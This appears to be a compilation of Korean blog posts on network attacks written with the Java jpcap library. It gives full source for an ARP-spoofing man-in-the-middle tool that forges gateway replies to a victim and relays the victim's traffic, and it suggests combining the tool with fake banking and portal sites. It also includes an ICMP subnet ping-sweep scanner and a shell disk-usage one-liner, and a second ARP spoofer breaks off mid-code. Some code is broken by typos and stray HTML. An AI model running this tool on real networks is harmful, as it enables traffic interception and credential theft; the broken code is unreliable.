작성자 :  유창훈
오늘은 중간자 공격에 대해 알아보겠습니다. 


요렇게 통신되던걸 
 

요렇게 바꾸어주는 것입니다. 

중간자 공격 유형은 아래와 같이 두가지 방법이 있습니다. 
1. 공격을 Host A만 해서 HostA 에서 오는 패킷들은 모두 공격자를 지나가고 외부에서 들어오는 패킷은 건드리지 않기
2. 공격을 Host A와 Gateway둘다 해서 HostA에서 외부로 나가고 , Gateway에서 Host A로 들어오는 모든 패킷 잡기.




원리는 간단합니다. Arp Spoofing을 통해 희생자가 가지고있는 게이트웨이의 맥주소를 공격자의 맥주소로 바꾸고 희생자가 게이트웨이인줄알고 WAN으로 내보내려고하는 모든 패킷을 공격자가 중간에서  진짜 게이트웨이로 전달만 하는 것입니다. 
반대로 외부로 부터 오는 패킷은 그냥 내버려둬도 상관없습니다. 

아직 다루진 않았지만 세션 하이제킹을 하려면 상호간에 교환되는 패킷을 모두 관찰해야 하지만, 지금 처럼 단방향 MIMA공격도 희생자의 모든 정보를 알아내기에 부족함이 없습니다. 

환경은  로컬네트웍 환경이고, 게이트웨이, 스위치, Host A환경은 다음과 같습니다.  

 


Host A에서 www.google.com으로 ping을 날렸을때,  패킷의 맨처음 6바이트인 Destionation Mac Address에 11:22:33:44:55:66을 채우게 됩니다. 이는 www.google.com의 IP주소가 Host A의 네트워크 주소가아님을 서브넷의 AND연산을 통해 비교 파악하고, 외부로 보내려고 출구인 게이트웨이의 맥주소를 ARP 캐시 테이블에서 찾습니다. 만약  케시테이블에 192.168.1.1에 해당하는 맥주소가 없다면 ARP request를 통해 맥주소를 얻어오게 됩니다. 


근데 중간자  공격은 ,공격자가 마치 게이트웨이인양  Host A에게 자신을 속이는 것으로 시작합니다. 즉, 보내지도 않은 ARP request패킷을 마치 Gateway가 reply해준것 처럼 지속적으로 속이는 패킷을 보냅니다. 

 

ARP reply 패킷에 Sender IP는게이트웨이 192.168.1.1 을, Sender Mac address는 공격자의 aa:aa:aa:aa:aa:aa
를 1-2초에 한번씩 지속적으로 보냅니다 . 로컬네트웍안에서 Host A는 외부로 나가는 모든 패킷을 공격자로 보내게 됩니다.
공격자는 지속적으로 들어오는 패킷을 감시하고있다가 Destnation Mac address가 aa:aa:aa:aa:aa:aa(공격자) 이고 Source Mac Address가 55:55:55:55:55:55(Host A)인 모든 패킷의 Destnation Mac Address를 11:22:33:44:55:66(Gateway)로 Source Mac Addres를 aa:aa:aa:aa:aa:aa(공격자)로 바꾸어 내보냅니다. 

패킷을 받은 라우터는 정상적으로 패킷을 수신해서 WAN으로 전달하고 google.com에서 전달받은 응답패킷들은 정상적인 경로인, Host A로 바로 보내게 됩니다. 

이상 단방향 MIMA 공격이었습니다. 
이러한 단방향 공격의 변형유형중 하나가 예전에 유행했던 피싱사이트와의 결합입니다. 
예를 들어 네이버, 금융권 사이트를 공격자 자신의 PC에서 웹서비스를 동작시키고 특정 개인정보를 유도할 수 있겠습니다. 

같은 원리로 라우터까지 속이게 되는   양방향 MIMA 공격에서는  서버로부터의 응답까지 스니핑이 가능하기 때문에 요즘들어 특정 확인을 요구하는 서버측의 웹페이지같은 경우 실제 사용자의 동의 없이도 조작이 가능하기도 합니다. 
---------------------------------------------------------------------------------------------------------------------
소스는 다음과 같습니다. 
구성 : mima.java                   :  네트워크 인터페이스 선택 및 변수정의 및 초기화 &
dump.java                   :  초기 타겟의 mac주소 획득 및,  포워딩(sending포함)작업
send.java                    :  2초에 한번씩 조작된 Arp Reply 패킷생성 및  보내기
thread_for_dimp.java  :  Dump 스레드 동작
thread_for_send.java  : 2초에 한번씩 보낼때 사용되는 send 메소드의 스레드 동작

동작 순서는 다음과 같습니다. 
1. 네트워크 인터페이스 선택
2. 공격자 자신의 IP, MAC , 게이트웨이의 IP, Mac저장
3. Dump, 및 Send 쓰레드 동작
4. 타겟시스템으로 정상적인 Arp request를 보냄으로써, 타겟의 Mac주소 획득
5. 쓰레드로 동작되고있는 send메소드에서 타겟의 mac주소가 획득되면 state 를 1로 셋팅
6. state가 1일 때부터 조작된 Arp reply를 2초간격으로 무한반복으로 보냄
6. 쓰레드로 동작되고있는 dump메소드에서 이더넷헤더를 지속적으로 감시하며 포워딩작업수행




=========================mima.java============================================

import java.util.Arrays;
import java.util.Scanner;
import jpcap.*;
import jpcap.packet.*;

import java.net.InetAddress;
import java.net.URL;

public class mima {
public static int device=0;                                    //네트워크 디바이스 번호
public static byte[] myIp = new byte[4];        //공격자 IP
public static byte[] myMac = new byte[6];   //공격자 mac
public static byte[] TarIp = new byte[4]; //희생자 ip
public static byte[] TarMac = new byte[6];   //희생자 mac
public static byte[] gwIp = new byte[4];   //gateway ip
public static byte[] gwMac = new byte[6];  //gate Mac
public static int state=0;     //   0=희생자의 mac주소획득전(정상)
//    1= 희생자의 mac주소 획득 후 ( 공격시작을 알림)
public static void main(String[] args) throws java.io.IOException {
if (args.length < 2 | args.length>2) {
System.out.println("Usage: java mima <Target_IP > <Gateway_IP>");    //입력형식
System.exit(0);
} else {

// Jpcap initstatic
NetworkInterface[] devices = JpcapCaptor.getDeviceList();

// list display
for (int i = 0; i < devices.length; i++)
System.out.println(i + ":" + devices[i].name + "("
+ devices[i].description + ")");

// select interface
System.out.format("==========================\n Select Your Network Interface =>  ");
Scanner scan = new Scanner(System.in);
device = scan.nextInt();
if (device < 0 | device>devices.length) {
System.out.println("Please select the correct DEVICE");
System.exit(0);
else {
//get target IP
TarIp = InetAddress.getByName(args[0]).getAddress();
//get gateway  IP
gwIp = InetAddress.getByName(args[1]).getAddress();
/////////////////////  Get the gateway mac....auto.......... 
JpcapCaptor captor=JpcapCaptor.openDevice(devices[device],2000,false,5000);
InetAddress pingAddr=InetAddress.getByName("www.google.com");
captor.setFilter("tcp and dst host "+pingAddr.getHostAddress(),true);
gwMac=null;
while(true){
new URL("http://www.google.com").openStream().close();
Packet ping=captor.getPacket();
if(ping==null){
System.out.println("cannot obtain MAC address of default gateway.");
System.exit(-1);
}else if(Arrays.equals(((EthernetPacket)ping.datalink).dst_mac,devices[device].mac_address))
continue;
gwMac=((EthernetPacket)ping.datalink).dst_mac;
break;
}
//get My IP  & MAC  auto,...
for (NetworkInterfaceAddress a : devices[device].addresses){
InetAddress intaddr = a.address;
myIp = intaddr.getAddress();
myMac = devices[device].mac_address;
break;                       ////just one time 
}
// capture start
thread_for_dump t_d = new thread_for_dump();
Thread th_d = new Thread(t_d);
th_d.start();
try {        //just wait.. because interval..no reason
      Thread.sleep(1 * 1000);
    } catch (InterruptedException e) { }
    
thread_for_send t_s = new thread_for_send();
Thread th_s = new Thread(t_s);
th_s.start();
   
}
}
}
}
===================== dump.java ===============================================
import java.io.IOException;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.PacketReceiver;
import jpcap.packet.Packet;

class dump implements PacketReceiver
{
public void receivePacket(Packet p) 
{
byte[] bytes = new byte[p.header.length + p.data.length];
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);

//////희생자의 Mac주소 획득
if(mima.state == 0 && bytes[21] == (byte)0x02 && 
bytes[28] ==mima.TarIp[0] && bytes[29] ==mima.TarIp[1] &&bytes[30] ==mima.TarIp[2] &&bytes[31] ==mima.TarIp[3])
{
mima.TarMac[0]=bytes[6];              
mima.TarMac[1]=bytes[7];
mima.TarMac[2]=bytes[8];
mima.TarMac[3]=bytes[9];
mima.TarMac[4]=bytes[10];
mima.TarMac[5]=bytes[11];
mima.state = 1;               ///     희생자의 mac주소 획득을 알리는 변수 1 = 획득
}
if (mima.state ==1 &&        //스푸핑된 패킷을 포워딩하는 작업 = 이더넷 헤더정보 변경
mima.myMac[0] ==bytes[0] &&
mima.myMac[1]== bytes[1] &&
mima.myMac[2]==bytes[2] &&
mima.myMac[3]==bytes[3] &&
mima.myMac[4]== bytes[4] &&
mima.myMac[5]== bytes[5] &&
mima.TarMac[0]==bytes[6]  &&
mima.TarMac[1]==bytes[7]  &&
mima.TarMac[2]== bytes[8]  &&
mima.TarMac[3]== bytes[9]  &&
mima.TarMac[4]== bytes[10]  &&
mima.TarMac[5]== bytes[11])
{               ///////////////////////catch
bytes[0]=mima.gwMac[0] ;                    /////////////chang the mac addressssssssssssssss
bytes[1]=mima.gwMac[1] ;
bytes[2]=mima.gwMac[2] ;
bytes[3]=mima.gwMac[3] ;
bytes[4]=mima.gwMac[4] ;
bytes[5]=mima.gwMac[5] ;
bytes[6]=mima.myMac[0];
bytes[7]=mima.myMac[1]; 
bytes[8]=mima.myMac[2];
bytes[9]=mima.myMac[3]; 
bytes[10]=mima.myMac[4]; 
bytes[11]=mima.myMac[5];
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapSender sender = null;
try {
sender = JpcapSender.openDevice(devices[mima.device]);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// make raw packet
Packet sendPack = new Packet();
System.out.println(">>>>>>>>>>>come to me>>>>>>>>kkkkkkkkf");
sendPack.data = bytes;
sender.sendPacket(sendPack);
sender.close();
}
}
}
===================== send.java ===============================================
import java.io.IOException;
import java.net.InetAddress;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.Packet;

public class send {
public void sendpack() throws IOException {

// make raw packet
Packet sendPack = new Packet();
byte pb[] = new byte[60];

///일단 밑에 while문 전까지 기본적인 패킷의 정보 입력해놓은것
//Dst_mac
pb[0] = 0; pb[1] = 0; pb[2] = 0; pb[3] = 0; pb[4] = 0; pb[5] = 0;

// Src_Mac
pb[6] = 0; pb[7] = 0; pb[8] = 0; pb[9] = 0; pb[10] = 0; pb[11] = 0;

// Ether Type
pb[12] = (byte) 0x08; pb[13] = (byte) 0x06;

// Hardware type
pb[14] = (byte) 0x00; pb[15] = (byte) 0x01;
// Protocol Type
pb[16] = (byte) 0x08; pb[17] = (byte) 0x00;
// Hardware address size = Hardware length(Hlen) = Mac address size
// = 6byte
pb[18] = (byte) 0x06;
// Porotocol size= ip address size = 4byte 
pb[19] = (byte) 0x04;
// opcode Request = 1, reply =2
pb[20] = (byte) 0x00; pb[21] = (byte) 0x01;

// sender hardware address
pb[22] = 0;  pb[23] = 0; pb[24] = 0; pb[25] = 0; pb[26] = 0; pb[27] = 0;
// sender IP address
pb[28] = 0; pb[29] = 0; pb[30] = 0; pb[31] = 0;
// Target Hardware address
pb[32] = 0; pb[33] = 0; pb[34] = 0; pb[35] = 0; pb[36] = 0; pb[37] = 0;
// target Ip address
pb[38] = 0; pb[39] = 0; pb[40] = 0; pb[41] = 0;
while(truue )                              // state값에 따른 다른 내용의 패킷을 반복적으로 보냄   = arp spoofing reply 
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapSender sender = JpcapSender.openDevice(devices[mima.device]);
if(mima.state ==0)
{
pb[0] = (byte) 0xff; pb[1] = (byte) 0xff; pb[2] = (byte) 0xff;
                                pb[3] = (byte) 0xff; pb[4] = (byte) 0xff; pb[5] = (byte) 0xff;
// Src_Mac
pb[6] = mima.myMac[0]; pb[7] = mima.myMac[1]; pb[8] = mima.myMac[2];
                                pb[9] = mima.myMac[3]; pb[10] = mima.myMac[4]; pb[11] = mima.myMac[5];
// sender hardware address
pb[22] = mima.myMac[0];  pb[23] = mima.myMac[1]; pb[24] = mima.myMac[2];
                                pb[25] = mima.myMac[3]; pb[26] = mima.myMac[4]; pb[27] = mima.myMac[5];
// sender IP address
pb[28] = mima.myIp[0]; pb[29] = mima.myIp[1]; pb[30] = mima.myIp[2]; pb[31] = mima.myIp[3];
// Target Hardware address
pb[32] = 0; pb[33] = 0; pb[34] = 0; pb[35] = 0; pb[36] = 0; pb[37] = 0;
// target Ip address
pb[38] = mima.TarIp[0]; pb[39] = mima.TarIp[1]; pb[40] = mima.TarIp[2]; pb[41] = mima.TarIp[3];
}
else if(mima.state ==1)
{
//reply
pb[21] = (byte) 0x02;
pb[0] = mima.TarMac[0]; pb[1] = mima.TarMac[1];         pb[2] = mima.TarMac[2];
                                pb[3] = mima.TarMac[3]; pb[4] = mima.TarMac[4]; pb[5] = mima.TarMac[5];
// Src_Mac
pb[6] = mima.myMac[0]; pb[7] = mima.myMac[1]; pb[8] = mima.myMac[2];
                                pb[9] = mima.myMac[3]; pb[10] = mima.myMac[4]; pb[11] = mima.myMac[5];
// sender hardware address
pb[22] = mima.myMac[0];           pb[23] = mima.myMac[1];              pb[24] = mima.myMac[2];
                                pb[25] = mima.myMac[3];  pb[26] = mima.myMac[4];      pb[27] = mima.myMac[5];
// sender IP address
pb[28] = mima.gwIp[0]; pb[29] = mima.gwIp[1]; pb[30] = mima.gwIp[2]; pb[31] = mima.gwIp[3];
// Target Hardware address
pb[32] = mima.TarMac[0]; pb[33] = mima.TarMac[1];         pb[34] = mima.TarMac[2];
                                pb[35] = mima.TarMac[3]; pb[36] = mima.TarMac[4]; pb[37] = mima.TarMac[5];
// target Ip address
pb[38] = mima.TarIp[0]; pb[39] = mima.TarIp[1]; pb[40] = mima.TarIp[2]; pb[41] = mima.TarIp[3];
System.out.format("%d.%d.%d.%d 's GW is Spoofing......now\n", (0xff)&mima.TarIp[0], (0xff)&mima.TarIp[1], (0xff)&mima.TarIp[2], (0xff)&mima.TarIp[3]);

}
try {        //just wait.. because interval..no reason
      Thread.sleep(2 * 1000);                       //2초간격
    } catch (InterruptedException e) { }
sendPack.data = pb;
sender.sendPacket(sendPack);
sender.close();
}
}
}


=====================thread_for_dump.java=============================================
import jpcap.*;
import java.io.IOException;


public class thread_for_dump implements Runnable{
public void run(){
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapCaptor jpcap = null;
try {
jpcap = JpcapCaptor.openDevice(devices[mima.device], 2000, true, 1);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
jpcap.loopPacket(-1, new dump());
}
}


=====================thread_for_send.java=============================================
import jpcap.*;
import java.io.IOException;


public class thread_for_send implements Runnable{
public void run(){
  send s = new send();
 
try {
s.sendpack(); /////////////////////////
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
==============================================================================
AND


저번에 말씀드린 ICMP패킷을 이용한 스캔 방법을 말씀드리겠습니다.

오늘은 정상적인 ICMP를 통해 응답에 따른  공격대상의 존재 유무를 파악하는 것을 해 볼 것인데요. ICMP 타입중에서도 0 과 8인  request와 reply를 이용해 보도록 하겠습니다. 
그리고 다음에 올려질 부분에 타입에 따라서 차이점을 설명하고 소스를 올리도록 하겠습니다.


저번에 ICMP를 올려본것과 큰 차이점은 없고 단지 툴의 형식을 좀 갖추었다는 것 인데요. 뭐 해킹 툴은 아니고 그냥 Jpcap 프로그래밍에 초점을 맞추어서 이 글을 읽으시면 .... 더 맞을것 같습니다. 

달라진 점은 다음과 같습니다.
1. 공격자의 IP와 MAC주소 자동 인지
2. 공격자의 디폴트게이트웨이 맥주소 자동인지
3. 희생자의 네트워크 서브넷 환경에 따른 범위 설정가능
4. CheckSum자동계산


보완해야할 부분
1. Padding관련 부분 구현안함
2. Request 패킷만 생성가능 
3. Type변화에 따른 헤더길이 변화 불가.  >>>>>>>차후 소스라우팅이나, 타임스탬프 가 적용가능토록 가변적인 헤더길이 요구
4. 스래드구현시 매끄럽지 못한부분들..



소스 구성
sfping.java                                패킷세부구성, 인터페이스에 따른 처리, IP와 맥주소 자동 획득
dump_for_thread.java              Jpcap에서 제공되는 메소드를 처리하기 위해 Runnable클래스로 감싸기 위한 작업
 dump.java                               패킷 캡쳐 및 , 조건문에 의한 특정 패턴 파악후 처리


================================      sfping.java===================================
import java.util.Scanner;
import jpcap.*;
import java.net.URL;
import java.util.Arrays;

import jpcap.packet.*;
import java.net.InetAddress;

import jpcap.NetworkInterfaceAddress;

public class sfping {
//////////////채크섬   채크과정, 
public static short cksum(byte[] buf, int len) {

int sum = 0;                   ////////2바이트씩 끊어읽을때, 사용되는 값, 2바이트만 사용합니다. 
int x = 0;                      //sum이 더해지는 변수 , 2바이트이상넘어가는 캐리가 발생되므로 4바이트형
int cmask = 0xffff0000;     //캐리만을 살려두기 위한 마스크
byte temp = 0;  //캐리가 임시저장될 공간
short CK = 0;  //최종 채크섬 값이 리턴될 변수

for (int i = 0; i < len; i++) {
sum = (((int) buf[i]) << 8) & 0xFF00 | ((int) buf[i+1])&0xFF;        //// 이부분에서 자바 처리가 AND연산을 꼭 해줘야
x = x + sum; 
i += 1;  //2바이트씩 끊어읽기위해 증가
}
temp = (byte) ((x & cmask) >> 16);   //캐리획득
CK = (short) ~(x + temp);  //1의 보수
return CK;
}
public static void main(String[] args) throws java.io.IOException {
if (args.length !=2) {
System.out.println("Usage: java Arscan NetworkAddress NetMask");           //이렇게 사용하세요
System.exit(0);
} else {

// Jpcap init static
NetworkInterface[] devices = JpcapCaptor.getDeviceList();  
// interface list display
for (int i = 0; i < devices.length; i++)
System.out.println(i + ":" + devices[i].name + "("
+ devices[i].description + ")");

// select interface   
System.out.print("\n=================================\nSelect Your Network Interface => ");
Scanner scan = new Scanner(System.in);  ///자바에선 이런식으로 입력받음.. C보다 귀찮음.
int device = scan.nextInt();                   ///선택한 인터페이스번호를 저장

//get My IP  & MAC  auto,... 자동으로 내 맥주소와 IP를 획득한다. Jpcap에서 제공하는 NetworkInterfaceAddress
//이다. 자바에서 제공하는거랑 헷갈리지 않도록. 
byte[] myIp = new byte[4];
byte[] myMac = new byte[6];
for (NetworkInterfaceAddress a : devices[device].addresses){     >>>요부분을 다른식으로 표현하고 싶은데 패스~
///devices[device]  ..요기서 device  는 위에서 선택한 인터페이스 번호임
InetAddress intaddr = a.address;         ///한번 찍어주고
myIp = intaddr.getAddress();     /// IP   자동 획득, byte[] 형식
myMac = devices[device].mac_address;// Mac   자동 획득, byte[] 형식
break;                       ////just one time  이게 위에서 for문을 통해 두번돌게 되있다. 첫번재돌대는 IPv4.
/// 두번째 돌대는 IPv6버전으로 나타나는게 첫번째꺼 사용을 위해 한번돌고
//break;
}
/////////////////////  Get the gateway mac....auto..........  ///// 이부분은 Jpcap에서 제공해주는 microsoft로 임의의 패킷을 보
//내서 거기서 디폴트게이트웨이의 맥주소를 잡아낸다. 그냥 갖다 써먹자. 
JpcapCaptor captor=JpcapCaptor.openDevice(devices[device],2000,false,5000);
InetAddress pingAddr=InetAddress.getByName("www.microsoft.com");
captor.setFilter("tcp and dst host "+pingAddr.getHostAddress(),true);
byte[] gwmac=null;
while(true){
new URL("http://www.microsoft.com").openStream().close();
Packet ping=captor.getPacket();
if(ping==null){
System.out.println("cannot obtain MAC address of default gateway.");
System.exit(-1);
}else if(Arrays.equals(((EthernetPacket)ping.datalink).dst_mac,devices[device].mac_address))
continue;
gwmac=((EthernetPacket)ping.datalink).dst_mac;  ////   요렇게 gwmac[] 에 byte형식으로 저장된다. 
break;
}
// capture start
Dump_for_thread t = new Dump_for_thread();           ///스레드 생성해서 sending과 capture를 동시에...
Thread thd1 = new Thread(t);
thd1.start();
try {        //just wait.. because interval..no reasonrseinInt
      Thread.sleep(2 * 1000);                 ///보내는 시작 속도가 캡쳐시작속도보다 빨라서 2초기다리고
    } catch (InterruptedException e) { }
    
  //Target IP setting              //커맨드 형식에 따라 IP를 받아서 셋팅가능토록 배열에 저장해두고
    byte[] TarIp = InetAddress.getByName(args[0]).getAddress();
   
    //Target mask setting       //커맨드 형식에 따라 마스크 정보를 입력받아 스캔할 범위를 자동으로 지정
    byte startIp=0;            //마스크에 따른 시작 IP
    byte endIp=0;           //마스크에 따른 마지막IP
    int mask = Integer.parseInt(args[1]);
    if(mask==24)
    {
     startIp = 0;
     endIp = (byte)255;
    }
    else if(mask ==24)
    {
     if(!(TarIp[3] == 0 )) { System.out.println("Check the Subnet and IP");  System.exit(0);}
     startIp = (byte)(TarIp[3]+1);
     endIp = (byte)(TarIp[3]+255); System.out.println(myIp[0]+""+ myIp[1]);
    
    }     
    else if(mask ==25)
    {
     if(!(TarIp[3] == 0 | TarIp[3]==128)) { System.out.println("Check the Subnet and IP");  System.exit(0);}
     startIp = (byte)(TarIp[3]+1);
     endIp = (byte)(TarIp[3]+127);
    }
    else if(mask ==26)
    {
     if(!(TarIp[3] == 0 | TarIp[3]==64 | TarIp[3]==128 |TarIp[3]==192 )) { System.out.println("Check the Subnet and IP");  System.exit(0);}
     startIp = (byte)(TarIp[3]+1);
     endIp = (byte)(TarIp[3]+63);
    }
    else if(mask ==27)
    {
     if(!(TarIp[3] == 0 | TarIp[3]==32 | TarIp[3]==64 |TarIp[3]==96| TarIp[3]==128 
     |TarIp[3]==160 |TarIp[3]==192 | TarIp[3]==224)) { System.out.println("Check the Subnet and IP");  System.exit(0);}
     startIp = (byte)(TarIp[3]+1);
     endIp = (byte)(TarIp[3]+31);
    }
    

    // sender init
JpcapSender sender = JpcapSender.openDevice(devices[device]);
// make raw packet
Packet sendPack = new Packet();
byte pb[] = new byte[64];
// Dst Mac            //위에서 자동획득한 gw 맥주소 입력
pb[0] = gwmac[0];
pb[1] = gwmac[1];
pb[2] = gwmac[2];
pb[3] = gwmac[3];
pb[4] = gwmac[4];
pb[5] = gwmac[5];
// Src_Mac
/////// 내꺼 Mac주소 입력
pb[6] = myMac[0];
pb[7] = myMac[1];
pb[8] = myMac[2];
pb[9] = myMac[3];
pb[10] = myMac[4];
pb[11] = myMac[5];
// Ether Type(byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[12] = (byte) 0x08;
pb[13] = (byte) 0x00;
////////////////////////////////////////////////////////////           IP
// Header Ver, Length
pb[14] = (byte) 0x45;                 ///헤더 길이 5*4 =20    type변경시 헤더길이 변경해줘야함
//TOS                              //상황에따라 수정가능 .. 보통건드리지 않고
pb[15] = (byte) 0x00;
// Total Length0                   //전체 데이터의 길이를 구하기 위해 계산 16비트이므로 최대 2^16
pb[16] = (byte) 0x00;        
pb[17] = (byte) 0x32;
// ID                                  //조각화 되었을때 동일 패킷임을 입증하는 ID 같은 ID안에서 아래 offset로 찾는다
pb[18] = (byte) 0x00;
pb[19] = (byte) 0x00;
// Flags, Fragment offset           //////플레그멘테이션으로 공격시 수정되는 부분   
pb[20] = (byte) 0x40;
pb[21] = (byte) 0x00;
//TTL                                  // traceroute 구현시 수정되는 부분
pb[22] = (byte) 0x80;
//Protocol
//tcp 6 udp 17   icmp 1               //상위계층의 정보
pb[23] = (byte) 0x01;
//Header Checksum             //일단 0 으로 채우고 iP해더 다 채워지면 그때 계산해서 나중에채움
pb[24] = 0;
pb[25] = 0;
//source IP                  //아까 자동획득했던
pb[26] = myIp[0];
pb[27] = myIp[1];
pb[28] = myIp[2];
pb[29] = myIp[3];

//Dst IP                      마지막 부분은 Mask정보에 따라 가변적이므로 0으로 일단채워둠
pb[30] = TarIp[0];
pb[31] = TarIp[1];
pb[32] = TarIp[2];
pb[33] = 0;
/////// IP checksum을 위한 IPHeader배열 생성   여기에는 IP헤더만 들어감, 나중 채크섬계산시 길이와함께 전달
byte IPHeader[] = new byte[20];
for(int i=0; i<((pb[14] & 0x0f) * 4); i++)
IPHeader[i] = pb[i+14];
////////////////////////////////////////////////////////   ICMP

//TYPE
pb[34] =  (byte)0x08;           //request
//Code
pb[35] =  (byte)0x00;           //
//Checksum
pb[36] = 0;             //일단 비워두고 나중에 계산해서 채움
pb[37] = 0;
//IDint
pb[38] =  0;          //보내는 쪽이므로 신경쓸필요없음
pb[39] =  0;
//Sequence Number
pb[40] = 0;            //보내는 쪽이므로 신경쓸필요없음
pb[41] = 0;
///data              임의데이터 생성
for (int i = 0; i < 22; i++) 
pb[42+i] = (byte)i;
//Checksum                                             
byte ICMPHeader[] = new byte[30];      ///IPHeader과 마찬가지로 
for(int i=0; i<30; i++)
{
ICMPHeader[i] = pb[i+34];
}
//////////ICMP Checksum 
pb[36] = (byte)(cksum(ICMPHeader,30) >>8);             //Checksum메소드에 헤더와 길이를 넘겨줌
pb[37] = (byte)(cksum(ICMPHeader,30));                       ///계산된 값이 리턴되어 돌아옴, 2바이트르 리턴하므로
//나눠서 한바이트씩 저장
////////////IP checksum
//   ICMPchsecksum을 계산할 때와는 달리 매번 변경되는 IP주소를 반영해서 Checksum을 계산해야 하기 때문에
//ip하나 바꾸고 채크섬 계산하고 보내고, ip하나 바꾸고 채크섬 계산하고 보내고,... 이런식으로 구현해야한다.

for(int i=startIp; i<=endIp; i++ )         //Mask에 따른 시작주소와 끝주소결정된것을 사용
{
IPHeader[19] = (byte)i;         //checksum을 위한 정보에도 
pb[33]=(byte)i;
pb[24] = (byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8); //       헤더에 선언된 길이정보를 가지고 넘겨줄
pb[25] = (byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))); //길이를 자동선출

sendPack.data = pb;  
sender.sendPacket(sendPack);
}
sender.close();
}
}
}


////////////////dump_for_thread.java          ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
<br />
import jpcap.*;
import java.io.IOException;
<br />
<br />
public class Dump_for_thread implements Runnable{            /// 요거는 Java관련된건데 인터넷찾아보면 잘나옴
public void run(){
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapCaptor jpcap = null;
try {
jpcap = JpcapCaptor.openDevice(devices[0], 2000, true, 1);            ///요부분을 수정해야함 . 일단은그냥 
///스테틱하게 정해버렸는데,  sfping.java에서 선택된 device값을 받아와서 적용되도록 수정해줘야한다.
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
jpcap.loopPacket(-1, new dump());
}
}
<br />
////////////////               dump.java          ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
mport jpcap.PacketReceiver;
import jpcap.packet.Packet;

class dump implements PacketReceiver
{
public void receivePacket(Packet p) 
{
byte[] bytes = new byte[p.header.length + p.data.length];
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);
if (bytes[34] == (byte) 0x00 &&bytes[23] ==(byte)0x01) 
///icmp 중 reply인것만
{
System.out.format("%d.%d.%d.%d is alive\n", (0xff)&bytes[26], (0xff)&bytes[27], (0xff)&bytes[28], (0xff)&bytes[29]);
}
}
}
===============================================================================================



이런식으로 수행됩니다 

이 소스를 토대로 다음 ICMP 를 이용한 스캔에서는   수정되는 부분만 올리고 설명하도록 하겠습니다. 

AND

df -h | grep "^/dev" | sed 's/%/ / g' | awk '$5>= 20 {print $1 "이 디스크를 "$5 "%를 사용중입니다."}'

grep "^/dev"                                                                                                     ; /dev로 시작하는
sed 's/%/ /g'                                                                                                  ; %로시작하는명령어를 공백으로바꾼다
awk '$5>= 20 {print $1 "이 디스크를 "$5 "%를 사용중입니다."}'    ; 조건문

스크립트완전 구성은 차후에........ 

'프로그래밍 > Shell Programming' 카테고리의 다른 글

AWK 활용  (0) 2011.07.11
Shell Script 정리 된 자료  (0) 2011.07.11
정수 및 문자열 비교  (0) 2011.07.11
시스템변수  (0) 2011.07.11
test 명령 조건  (0) 2011.07.11
AND


오늘은 소스를 살펴보도록 하겠습니다.
ARP spoofing 소스는 인터넷에서도 많이 구하실 수 있을테지만, 최대한 이해가 쉽게 설명해 보도록하겠습니다.
ARP는 프래임의 헤더부터 잘 보셔야 합니다. 


시나리오 구성

                                         일반적인 토폴로지입니다.

--------------------------------------------------------------
희생자 ARP TABLE
c:\> arp -a

192.168.0.1            00-11-22-33-44-55        dynamic
--------------------------------------------------------------
===> 희생자가 인터넷을 이용하기 위해선, Ethernet header의  Destnation Mac address부분인 패킷의 맨 처음 6바이트가 
00:11:22:33:44:55 로 채워지게 됩니다.  이부분을  존재하지 않는 MAC주소나 원하는 MAC주소로 바꾸게끔 하는게 핵심입니다.

--------------------------------------------------------------
희생자 ARP TABLE
c:\> arp -a

192.168.0.1            0f-ee-13-23-df-22       dynamic          ---------------   1번
                                                                                                      or
192.168.0.1            22-22-22-22-22-22       dynamic        ----------------  2번
--------------------------------------------------------------
1과 같은 존재하지 않는 MAC주소나

2와 같은 공격자의 MAC주소로 지정되어있으면
게이트웨이로 향하는 모든 패킷은 갈곳을 찾지 못하여 인터넷이 안되거나 공격자에게로 전달하게 됩니다. 




지금부터 그 과정을 살펴보겠습니다.

공격 시나리오로는 공격자의 PC에서 희생자 PC로 ARP Request패킷을 보내는 상황입니다.

다음은 게이트웨이 주소가 조작된 ARP Request패킷입니다.
===============================================
///////////////////////////////                send. java  ////////////////////////
import jpcap.*;
import jpcap.packet.*;

class send
{
 public static void main(String[] args) { 
NetworkInterface[] devices = JpcapCaptor.getDeviceList();              //인터페이스목록을 얻어오는 jpcap llibrary 메소드

JpcapSender sender=JpcapSender.openDevice(devices[0]);          // 0번 인터페이스 선택, 일반적으로 0번들 많이쓰십니다. 
Packet sendPack = new Packet();      //Packet에 대한 개체를 정의.   Jpcap library 에서 정의한 구조라, 따라줘야함.
byte pb[] = new byte[60];       //패킷 크기 정하기 . 기본 60셋팅해주고

//Dst Mac               //////  arp request 패킷은 목적지가 브로드케스트입니다.
pb[0]=(byte)0xff;  pb[1]=(byte)0xff; pb[2]=(byte)0xff; pb[3]=(byte)0xff; pb[4]=(byte)0xff; pb[5]=(byte)0xff;
  //Src_Mac              ////  보낸사람 맥주소. 위장하거나 숨겨야 합므로 아무거나.......
pb[6]=(byte)0x00;  pb[7]=(byte)0x0d; pb[8]=(byte)0x60; pb[9]=(byte)0xb7; pb[10]=(byte)0xd1; pb[11]=(byte)0x12;    
  //Ether Type            //// 타입은 0806 arp입력해주시고,
pb[12]=(byte)0x08; pb[13]=(byte)0x06;
//Hardware type              //네트워크 유형 . 이더넷은 1입니다. rfc 1060 참고하세요
pb[14]=(byte)0x00; pb[15]=(byte)0x01;

